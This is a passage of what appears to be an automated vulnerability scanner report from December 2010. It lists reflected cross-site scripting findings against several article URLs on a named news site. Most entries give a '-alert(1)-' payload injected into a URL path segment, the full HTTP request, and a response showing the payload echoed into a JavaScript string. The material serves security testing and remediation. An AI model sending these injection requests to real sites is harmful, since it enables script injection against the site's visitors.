User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:43 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:43 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156460/2010d6b6a'-alert(1)-'bc77c7cfb63/12/openfeint_groupon.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.co
...[SNIP]...

3.39. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156460/2010/12/openfeint_groupon.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b857'-alert(1)-'6913ec86d4d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156460/2010/127b857'-alert(1)-'6913ec86d4d/openfeint_groupon.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:54 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:54 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156460/2010/127b857'-alert(1)-'6913ec86d4d/openfeint_groupon.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cooki
...[SNIP]...

3.40. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156460/2010/12/openfeint_groupon.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d42c'-alert(1)-'9999645f143 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156460/2010/12/openfeint_groupon.html9d42c'-alert(1)-'9999645f143 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:02 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
ogon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156460/2010/12/openfeint_groupon.html9d42c'-alert(1)-'9999645f143';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.41. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156462/2010/12/vimeovideoschool.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 271d7'-alert(1)-'8cd698730a8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156462/2010271d7'-alert(1)-'8cd698730a8/12/vimeovideoschool.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:59 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:58 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156462/2010271d7'-alert(1)-'8cd698730a8/12/vimeovideoschool.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.coo
...[SNIP]...

3.42. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156462/2010/12/vimeovideoschool.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f52d8'-alert(1)-'aaab881666b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156462/2010/12f52d8'-alert(1)-'aaab881666b/vimeovideoschool.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:10 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:10 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156462/2010/12f52d8'-alert(1)-'aaab881666b/vimeovideoschool.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie
...[SNIP]...

3.43. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156462/2010/12/vimeovideoschool.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca434'-alert(1)-'eb317d02b34 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156462/2010/12/vimeovideoschool.htmlca434'-alert(1)-'eb317d02b34 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:21 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156462/2010/12/vimeovideoschool.htmlca434'-alert(1)-'eb317d02b34';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.44. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156465/2010/12/color_blindness_iphone.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6f89'-alert(1)-'bc4d0bc8c8f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156465/2010d6f89'-alert(1)-'bc4d0bc8c8f/12/color_blindness_iphone.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:35 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:35 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156465/2010d6f89'-alert(1)-'bc4d0bc8c8f/12/color_blindness_iphone.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   docume
...[SNIP]...

3.45. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156465/2010/12/color_blindness_iphone.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2393'-alert(1)-'d8870245563 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156465/2010/12b2393'-alert(1)-'d8870245563/color_blindness_iphone.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:47 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:47 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156465/2010/12b2393'-alert(1)-'d8870245563/color_blindness_iphone.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.
...[SNIP]...

3.46. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156465/2010/12/color_blindness_iphone.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da20f'-alert(1)-'e63be7e2499 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156465/2010/12/color_blindness_iphone.htmlda20f'-alert(1)-'e63be7e2499 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:56 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156465/2010/12/color_blindness_iphone.htmlda20f'-alert(1)-'e63be7e2499';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.47. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156466/2010/12/digital_raw_update_35.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25950'-alert(1)-'02615171d29 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156466/201025950'-alert(1)-'02615171d29/12/digital_raw_update_35.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:58 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:58 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156466/201025950'-alert(1)-'02615171d29/12/digital_raw_update_35.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   documen
...[SNIP]...

3.48. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156466/2010/12/digital_raw_update_35.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0735'-alert(1)-'d2670da54e8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156466/2010/12c0735'-alert(1)-'d2670da54e8/digital_raw_update_35.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:11 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:11 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156466/2010/12c0735'-alert(1)-'d2670da54e8/digital_raw_update_35.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.c
...[SNIP]...

3.49. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156466/2010/12/digital_raw_update_35.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c72e0'-alert(1)-'8efe20d6cd3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156466/2010/12/digital_raw_update_35.htmlc72e0'-alert(1)-'8efe20d6cd3 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:21 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156466/2010/12/digital_raw_update_35.htmlc72e0'-alert(1)-'8efe20d6cd3';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.50. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156470/2010/12/yahoo.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cde3'-alert(1)-'91a92cc57c8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156470/20103cde3'-alert(1)-'91a92cc57c8/12/yahoo.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:52 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:52 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156470/20103cde3'-alert(1)-'91a92cc57c8/12/yahoo.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.l
...[SNIP]...

3.51. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156470/2010/12/yahoo.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb83c'-alert(1)-'7ece98874a3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156470/2010/12fb83c'-alert(1)-'7ece98874a3/yahoo.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:59 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156470/2010/12fb83c'-alert(1)-'7ece98874a3/yahoo.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last
...[SNIP]...

3.52. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156470/2010/12/yahoo.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8ed1'-alert(1)-'7fe0beff08 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156470/2010/12/yahoo.htmla8ed1'-alert(1)-'7fe0beff08 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:11 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
erName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156470/2010/12/yahoo.htmla8ed1'-alert(1)-'7fe0beff08';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.53. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156477/2010/12/remains_121610.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload faed7'-alert(1)-'fe90475a046 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156477/2010faed7'-alert(1)-'fe90475a046/12/remains_121610.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
